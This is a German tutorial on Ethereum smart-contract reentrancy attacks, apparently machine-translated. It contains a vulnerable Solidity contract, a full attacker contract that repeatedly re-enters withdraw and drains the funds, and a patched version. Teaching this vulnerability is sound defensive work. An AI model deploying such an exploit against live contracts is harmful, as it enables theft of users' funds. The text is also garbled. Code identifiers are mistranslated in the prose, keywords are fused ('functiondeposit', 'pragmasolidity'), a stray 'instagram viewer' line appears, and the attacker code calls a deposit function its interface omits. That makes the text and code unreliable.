Hier erfahren Sie, wie einer der häufigsten Smart-Contract-Hacks abläuft, der Web-3-Unternehmen Millionen kostet …

Einige der größten Hacks in der Blockchain-Branche, bei denen Kryptowährungstoken im Wert von mehreren Millionen Dollar gestohlen wurden, waren das Ergebnis von Reentrancy-Angriffen. Obwohl diese Hacks in den letzten Jahren seltener geworden sind, stellen sie immer noch eine erhebliche Bedrohung für Blockchain-Anwendungen und -Benutzer dar.

Was genau sind Wiedereintrittsangriffe? Wie werden sie eingesetzt? Und gibt es irgendwelche Maßnahmen, die Entwickler ergreifen können, um dies zu verhindern?

Was ist ein Wiedereintrittsangriff?

Ein Wiedereintrittsangriff tritt auf, wenn eine anfällige Smart-Contract-Funktion ruft einen böswilligen Vertrag von außen auf und gibt dadurch vorübergehend die Kontrolle über den Transaktionsfluss auf. Der böswillige Vertrag ruft dann wiederholt die ursprüngliche Smart-Contract-Funktion auf, bevor er die Ausführung abschließt und dabei seine Mittel verbraucht.

instagram viewer

Im Wesentlichen folgt eine Auszahlungstransaktion auf der Ethereum-Blockchain einem dreistufigen Zyklus: Kontostandbestätigung, Überweisung und Kontostandaktualisierung. Wenn es einem Cyberkriminellen gelingt, den Zyklus vor der Aktualisierung des Kontostands zu kapern, kann er wiederholt Gelder abheben, bis eine Brieftasche leer ist.

Bildnachweis: Etherscan

Einer der berüchtigtsten Blockchain-Hacks, der Ethereum DAO-Hack, wie von beschrieben Coindeskwar ein Wiedereintrittsangriff, der zu einem Verlust von eth im Wert von über 60 Millionen US-Dollar führte und den Kurs der zweitgrößten Kryptowährung grundlegend veränderte.

Wie funktioniert ein Wiedereintrittsangriff?

Stellen Sie sich eine Bank in Ihrer Heimatstadt vor, in der tugendhafte Einheimische ihr Geld aufbewahren. Die Gesamtliquidität beträgt 1 Million US-Dollar. Allerdings verfügt die Bank über ein fehlerhaftes Buchhaltungssystem – die Mitarbeiter warten bis zum Abend, um die Bankguthaben zu aktualisieren.

Ihr befreundeter Investor besucht die Stadt und entdeckt den Buchhaltungsfehler. Er erstellt ein Konto und zahlt 100.000 US-Dollar ein. Einen Tag später hebt er 100.000 Dollar ab. Nach einer Stunde unternimmt er einen weiteren Versuch, 100.000 Dollar abzuheben. Da die Bank seinen Kontostand nicht aktualisiert hat, beträgt er immer noch 100.000 US-Dollar. Also bekommt er das Geld. Das macht er so oft, bis kein Geld mehr übrig ist. Dass kein Geld da ist, merken die Mitarbeiter erst, wenn sie abends den Rechnungsabschluss machen.

Im Rahmen eines Smart Contracts läuft der Prozess wie folgt ab:

  1. Ein Cyberkrimineller identifiziert einen Smart Contract „X“ mit einer Schwachstelle.
  2. Der Angreifer initiiert eine legitime Transaktion mit dem Zielvertrag X, um Geld an einen böswilligen Vertrag „Y“ zu senden. Während der Ausführung ruft Y die anfällige Funktion in X auf.
  3. Die Vertragsausführung von X wird angehalten oder verzögert, da der Vertrag auf die Interaktion mit dem externen Ereignis wartet
  4. Während die Ausführung angehalten ist, ruft der Angreifer wiederholt dieselbe anfällige Funktion in X auf und löst so oft wie möglich deren Ausführung aus
  5. Bei jedem Wiedereintritt wird der Vertragsstatus manipuliert, sodass der Angreifer Gelder von X nach Y abziehen kann
  6. Sobald die Mittel aufgebraucht sind, stoppt der Wiedereintritt, die verzögerte Ausführung von X wird schließlich abgeschlossen und der Vertragsstatus wird basierend auf dem letzten Wiedereintritt aktualisiert.

Im Allgemeinen nutzt der Angreifer die Reentrancy-Schwachstelle erfolgreich zu seinem Vorteil aus und stiehlt Gelder aus dem Vertrag.

Ein Beispiel für einen Wiedereintrittsangriff

Wie genau könnte also ein Wiedereintrittsangriff technisch gesehen ablaufen, wenn er eingesetzt wird? Hier ist ein hypothetischer Smart-Vertrag mit einem Wiedereintritts-Gateway. Wir verwenden eine axiomatische Benennung, um das Nachvollziehen zu erleichtern.

// Vulnerable contract with a reentrancy vulnerability

pragmasolidity ^0.8.0;

contract VulnerableContract {
mapping(address => uint256) private balances;

functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}

functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}

Der VulnerableContract ermöglicht Benutzern die Einzahlung von ETH in den Vertrag mithilfe von Kaution Funktion. Benutzer können dann ihre eingezahlte ETH mit dem abheben zurückziehen Funktion. Es besteht jedoch eine Sicherheitslücke bezüglich des Wiedereintritts zurückziehen Funktion. Wenn ein Benutzer abhebt, überweist der Vertrag den angeforderten Betrag an die Adresse des Benutzers, bevor der Kontostand aktualisiert wird. Dadurch entsteht eine Gelegenheit für einen Angreifer, diese auszunutzen.

Nun, so würde der Smart Contract eines Angreifers aussehen.

// Attacker's contract to exploit the reentrancy vulnerability

pragmasolidity ^0.8.0;

interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}

contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;

constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}

// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();

// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}

// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}

// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}

Wenn der Angriff gestartet wird:

  1. Der Angreifervertrag nimmt die Adresse des VulnerableContract in seinem Konstruktor und speichert es im vulnerabelVertrag Variable.
  2. Der Attacke Die Funktion wird vom Angreifer aufgerufen und hinterlegt etwas Eth in der VulnerableContract Verwendung der Kaution Funktion und rufen Sie dann sofort die auf zurückziehen Funktion der VulnerableContract.
  3. Der zurückziehen Funktion in der VulnerableContract überträgt die angeforderte Menge an ETH an den Angreifer Angreifervertrag vor der Aktualisierung des Guthabens, aber da der Vertrag des Angreifers während des externen Aufrufs pausiert, ist die Funktion noch nicht abgeschlossen.
  4. Der erhalten Funktion in der Angreifervertrag wird ausgelöst, weil die VulnerableContract hat während des externen Anrufs eth an diesen Vertrag gesendet.
  5. Die Empfangsfunktion prüft, ob die Angreifervertrag Der Restbetrag beträgt mindestens 1 Ether (der abzuhebende Betrag), dann wird er wieder eingegeben VulnerableContract durch den Aufruf von it zurückziehen Funktion wieder.
  6. Wiederholen Sie die Schritte drei bis fünf, bis der VulnerableContract Das Geld geht aus und der Vertrag des Angreifers sammelt eine beträchtliche Menge an ETH an.
  7. Schließlich kann der Angreifer das aufrufen Gestohlene Gelder abheben Funktion in der Angreifervertrag alle in ihrem Vertrag angesammelten Gelder zu stehlen.

Der Angriff kann je nach Netzwerkleistung sehr schnell erfolgen. Bei der Einbeziehung komplexer Smart Contracts wie dem DAO-Hack, der zum Hard Fork von Ethereum führte Ethereum und Ethereum Classic, der Angriff dauert mehrere Stunden.

So verhindern Sie einen Wiedereintrittsangriff

Um einen Wiedereintrittsangriff zu verhindern, müssen wir den anfälligen Smart-Vertrag so ändern, dass er den Best Practices für die sichere Entwicklung von Smart-Verträgen folgt. In diesem Fall sollten wir das Muster „checks-effects-interactions“ wie im folgenden Code implementieren.

// Secure contract with the "checks-effects-interactions" pattern

pragmasolidity ^0.8.0;

contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;

functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}

functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");

// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;

// Perform the state change
balances[msg.sender] -= amount;

// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");

// Unlock the sender's account
isLocked[msg.sender] = false;
}
}

In dieser festen Version haben wir eine eingeführt ist gesperrt Mapping, um zu verfolgen, ob ein bestimmtes Konto gerade ausgezahlt wird. Wenn ein Benutzer eine Auszahlung veranlasst, prüft der Vertrag, ob sein Konto gesperrt ist (!isLocked[msg.sender]), was darauf hinweist, dass derzeit keine weitere Auszahlung von demselben Konto durchgeführt wird.

Wenn das Konto nicht gesperrt ist, läuft der Vertrag mit der Statusänderung und der externen Interaktion weiter. Nach der Statusänderung und der externen Interaktion wird das Konto wieder entsperrt, sodass zukünftige Abhebungen möglich sind.

Arten von Wiedereintrittsangriffen

Bildnachweis: Ivan Radic/Flickr

Im Allgemeinen gibt es drei Haupttypen von Wiedereintrittsangriffen, basierend auf der Art der Ausnutzung.

  1. Einzelner Wiedereintrittsangriff: In diesem Fall ist die anfällige Funktion, die der Angreifer wiederholt aufruft, dieselbe, die auch für das Wiedereintritts-Gateway anfällig ist. Der obige Angriff ist ein Beispiel für einen einzelnen Wiedereintrittsangriff, der durch die Implementierung geeigneter Prüfungen und Sperren im Code leicht verhindert werden kann.
  2. Funktionsübergreifender Angriff: In diesem Szenario nutzt ein Angreifer eine anfällige Funktion aus, um eine andere Funktion innerhalb desselben Vertrags aufzurufen, die denselben Status wie die anfällige Funktion hat. Die zweite vom Angreifer aufgerufene Funktion hat einen gewünschten Effekt und macht sie für die Ausnutzung attraktiver. Dieser Angriff ist komplexer und schwerer zu erkennen, daher sind strenge Kontrollen und Sperren aller miteinander verbundenen Funktionen erforderlich, um ihn abzuwehren.
  3. Vertragsübergreifender Angriff: Dieser Angriff erfolgt, wenn ein externer Vertrag mit einem anfälligen Vertrag interagiert. Während dieser Interaktion wird der Status des anfälligen Vertrags im externen Vertrag aufgerufen, bevor er vollständig aktualisiert wird. Dies geschieht normalerweise, wenn mehrere Verträge dieselbe Variable gemeinsam nutzen und einige die gemeinsam genutzte Variable unsicher aktualisieren. Sichere Kommunikationsprotokolle zwischen Verträgen und Periodika Intelligente Vertragsprüfungen Es müssen Maßnahmen ergriffen werden, um diesen Angriff einzudämmen.

Reentrancy-Angriffe können sich in unterschiedlichen Formen manifestieren und erfordern daher jeweils spezifische Maßnahmen, um sie zu verhindern.

Schutz vor Reentrancy-Angriffen

Wiedereintrittsangriffe haben erhebliche finanzielle Verluste verursacht und das Vertrauen in Blockchain-Anwendungen untergraben. Um Verträge zu schützen, müssen Entwickler Best Practices sorgfältig anwenden, um Wiedereintrittsschwachstellen zu vermeiden.

Sie sollten außerdem sichere Auszahlungsmuster implementieren, vertrauenswürdige Bibliotheken nutzen und gründliche Prüfungen durchführen, um die Verteidigung des Smart Contracts weiter zu stärken. Wenn man über neu auftretende Bedrohungen auf dem Laufenden bleibt und Sicherheitsbemühungen proaktiv vornimmt, kann dies natürlich auch dafür sorgen, dass die Integrität der Blockchain-Ökosysteme gewahrt bleibt.